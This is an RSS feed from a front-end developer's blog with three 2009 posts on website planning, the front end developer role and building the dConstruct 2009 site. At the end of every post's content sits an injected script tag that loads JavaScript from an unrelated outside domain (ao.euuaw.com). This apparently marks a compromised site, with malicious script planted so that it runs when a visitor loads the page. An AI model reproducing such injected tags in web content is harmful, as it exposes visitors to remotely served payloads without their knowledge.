<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Maban &#187; Development</title>
	<atom:link href="http://maban.co.uk/tag/development/feed" rel="self" type="application/rss+xml" />
	<link>http://maban.co.uk</link>
	<description>Anna Debenham - Front End Developer</description>
	<lastBuildDate>Tue, 20 Jul 2010 20:58:44 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Pre-Development Website Planning</title>
		<link></link>
		<comments>http://maban.co.uk/313#comments</comments>
		<pubDate>Fri, 27 Nov 2009 12:28:44 +0000</pubDate>
		<dc:creator>Anna Debenham</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[planning]]></category>
		<category><![CDATA[prototyping]]></category>

		<guid isPermaLink="false">http://maban.co.uk/?p=313</guid>
		<description><![CDATA[While working at Clearleft, I learnt the importance of thorough planning before site development.  Planning how you are going to write the code is just as important as how you are going to design the site. It makes you really think about blocks of content as individual, reusable components and helps make your CSS more [...]]]></description>
			<content:encoded><![CDATA[<p>While working at Clearleft, I learnt the importance of thorough planning before site development.  Planning how you are going to write the code is just as important as how you are going to design the site. It makes you really think about blocks of content as individual, reusable components and helps make your CSS more consistent and easier for someone else to understand.<br />
<span id="more-313"></span><br />
There are lots of different ways you can plan a site.  Here are 3 that I really like.</p>
<h3>Sketches</h3>
<p>Below is a picture of how <a href="http://natbat.net/">Natalie Downe</a> plans her code using sketches.  Please take a look at some more of these on her Flickr photoset on <a href="http://www.flickr.com/photos/nataliedowne/sets/72157621746361844/">Planning Artifacts</a> because they really are very inspiring.</p>
<p><a href="http://www.flickr.com/photos/nataliedowne/3739720510/"><img class=" " title="Diagram and Photo by Natalie Downe" src="http://farm3.static.flickr.com/2468/3739720510_a767ef807c.jpg" alt="Diagram and Photo by Natalie Downe" width="400" height="266" /></a></p>
<h3>3D Models</h3>
<p>Natalie also makes 3D models for interactive elements of sites.  This is a jQuery slideshow.<br />
<a href="http://www.flickr.com/photos/nataliedowne/3739688082"><img class="  " title="Model and Photo by Natalie Downe" src="http://farm4.static.flickr.com/3420/3739688082_7a067b56ee_b.jpg" alt="Diagram and Photo by Natalie Downe" width="430" height="287" /></a></p>
<p>One of the things I like a lot about Natalie&#8217;s method of planning is that it gets you away from the computer.  And for those of us who spend all day staring at a glowing rectangle, that&#8217;s got to be a good thing.</p>
<h3>Computer Models</h3>
<p>If you&#8217;re more inclined to planning on the computer, or want something to use in documentation, you might find computer software more appropriate.  I like using <a href="http://sketchup.google.com/">Google SketchUp</a> to prototype sites, particularly ones with a number of layers or if I&#8217;m working with other people on the same code.  It&#8217;s an architecture application, but I like using it for sites because it lets you view the model in 3 dimensions (great for z-indexes), it&#8217;s free and also a lot of fun to use.<br />
<img class="size-full wp-image-316 " title="sketchup-prototyping" src="http://maban.co.uk/wp-content/uploads/2009/11/sketchup-prototyping2.jpg" alt="sketchup-prototyping" width="490" height="234" /></p>
<p>I&#8217;d love to see other examples of website planning if you do something differently. And if you don&#8217;t currently, I would really encourage you to spend a few minutes trying out one of these methods, even if it&#8217;s for very small sites, as it will really improve your code.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://maban.co.uk/313/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>What is a Front End Developer?</title>
		<link></link>
		<comments>http://maban.co.uk/138#comments</comments>
		<pubDate>Wed, 05 Aug 2009 12:21:37 +0000</pubDate>
		<dc:creator>Anna Debenham</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[front end]]></category>

		<guid isPermaLink="false">http://maban.co.uk/?p=138</guid>
		<description><![CDATA[Whenever I am asked what I do by someone who doesn&#8217;t work in my industry, I find it quite hard to give them a decent response.  I usually just tell them I&#8217;m a website designer, even though that&#8217;s not really accurate and I&#8217;m more confident working with code than on a design.


So what does [...]]]></description>
			<content:encoded><![CDATA[<p>Whenever I am asked what I do by someone who doesn&#8217;t work in my industry, I find it quite hard to give them a decent response.  I usually just tell them I&#8217;m a website designer, even though that&#8217;s not really accurate and I&#8217;m more confident working with code than on a design.</p>
<p><span id="more-138"></span></p>
<p style="text-align: center;"><a href="http://twitter.com/anna_debenham/status/2236421167"><img class="aligncenter size-medium wp-image-139" src="http://maban.co.uk/wp-content/uploads/2009/08/Firefox-300x155.png" alt="Twitter Status: Trying to explain to my friends what I do" width="300" height="155" /></a></p>
<p>So what does a front end developer actually do?  Let&#8217;s start with the &#8220;front end&#8221; bit.  A website can be broken down into two main bits, the front end, and the back end.</p>
<h3>The Front End</h3>
<p>The front end of a website is the visual bit that the user interacts with.  This includes the design, images, colours, buttons, forms, typography, animations and content.  It&#8217;s basically everything that you as a user of the website can see.</p>
<h3>The Back End</h3>
<p>The back end of the site is the bit that you don&#8217;t see.  It&#8217;s the code that makes e-commerce sites work, the database where your Amazon wishlist is stored, it&#8217;s all the magic that happens behind the visual part of the website that makes the website actually work.</p>
<p>Now for the &#8220;developer&#8221; bit.  To explain what a developer does, I should probably clarify what a designer does.</p>
<h3>The Designer</h3>
<p>Designers decide how a website is going to look, what the colour scheme will be, how all the headings will look, and how all the pages will work together.  They usually build a flat visual graphic of the site which has pictures of how the site will look and how each of the interactions will look.  At this stage you can&#8217;t interact with it, it&#8217;s just a picture. They then hand this file to the developer.</p>
<h3>The Developer</h3>
<p>The developer takes the file that the designer has sent them, and they look at it and work out how they are going to build the site so that it will work in a browser.  (A browser is the bit of software that you use to look at websites.  There are lots of browsers including <a href="http://en.wikipedia.org/wiki/Internet_explorer">Internet Explorer</a>, <a href="http://en.wikipedia.org/wiki/Firefox">Firefox</a>, <a href="http://en.wikipedia.org/wiki/Safari_%28web_browser%29">Safari</a>&#8230;).<br />
Developers will break the design up into components, and start to build these into a website using code.  They then test the site in lots of different browsers, and sometimes on mobile phone browsers too.  Each browser treats the code slightly differently, and the developer has to make sure that the site is accessible for lots of different users on lots of different browsers, and on different sized screens.<br />
They have to make sure the text can be resized without breaking the site, that the site is readable by search engines like Google, and people with visual disabilities using screen readers, or people with old technology.  They have to make sure the site looks as close to the design they have been given as possible.</p>
<h3>The Front End Developer</h3>
<p>So combining these two things, a front end developer works on the code that makes a website look the way it does.  They use <abbr title="Hyper Text Markup Language">HTML</abbr> to build the content, <abbr title="Cascading Style Sheets">CSS</abbr> to style the pages, and sometimes use JavaScript and PHP to make the pages more dynamic.</p>
<p>Now, this is all a bit of a generalisation.  There is a lot of crossover with roles, and my role as a front end developer may be different to someone else who also calls themselves a front end developer, and it all depends on their skills and background.  There are also many different roles within front end and back end which I will probably go into another time.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://maban.co.uk/138/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>dConstruct 2009 (Clearleft)</title>
		<link></link>
		<comments>http://maban.co.uk/200#comments</comments>
		<pubDate>Sat, 06 Jun 2009 15:15:13 +0000</pubDate>
		<dc:creator>Anna Debenham</dc:creator>
				<category><![CDATA[Case Studies]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[dconstruct]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[front end]]></category>
		<category><![CDATA[project]]></category>

		<guid isPermaLink="false">http://maban.co.uk/?p=200</guid>
		<description><![CDATA[I worked on the HTML and CSS for Clearleft&#8217;s dConstruct 2009 website, using microformats to mark up the schedules and locations.

The navigation was a bit of a challenge.  The selected state was quite fiddly to develop because I wanted the text to resize without dropping out of the green strip.  Here&#8217;s what I did&#8230;

Above [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://maban.co.uk/wp-content/uploads/2009/08/dConstruct-2009.jpg"><img class="alignleft size-thumbnail wp-image-201" title="dConstruct 2009" src="http://maban.co.uk/wp-content/uploads/2009/08/dConstruct-2009-150x150.jpg" alt="dConstruct 2009" width="150" height="150" /></a>I worked on the HTML and CSS for Clearleft&#8217;s dConstruct 2009 website, using microformats to mark up the schedules and locations.</p>
<p><span id="more-200"></span></p>
<p>The navigation was a bit of a challenge.  The selected state was quite fiddly to develop because I wanted the text to resize without dropping out of the green strip.  Here&#8217;s what I did&#8230;</p>
<p><img class="alignnone size-full wp-image-202" title="Home Link Normal Size" src="http://maban.co.uk/wp-content/uploads/2009/08/Firefox-2.jpg" alt="Home Link Normal Size" width="152" height="123" /></p>
<p>Above is the text at normal size, and below is the text 5x bigger than normal.</p>
<p><img class="alignnone size-full wp-image-203" title="Home Link Large Text" src="http://maban.co.uk/wp-content/uploads/2009/08/Firefox-3.jpg" alt="Home Link Large Text" width="220" height="123" /></p>
<p>I extended the white background at the top of the image so that it would cover the green strip when the text is resized and not look too out of place.  The selected state is actually two images.</p>
<p><img class="size-full wp-image-204 alignleft" title="Link background right" src="http://maban.co.uk/wp-content/uploads/2009/08/LittleSnapper.jpg" alt="Link background right" width="233" height="92" />This is what the background image for the right half of the link looks like.  It&#8217;s long to allow for long links.  When the link is small, it looks shorter.</p>
<p>While I was working on the site, <a href="http://natbat.net">Nat</a> showed me a really good way to make the site more maintainable and use less code.  The site is made up of strips of content &#8211; the header, main content, sponsors and footer, and these all have very similar properties (things like they all have a width of 80% and the same amount of margins).  Rather than repeating the CSS for each class, we added a class within each strip called &#8220;section&#8221;.  So if we needed to make a change to the layout and instead make the width 70%, we would only need to change this in one place.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://maban.co.uk/200/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
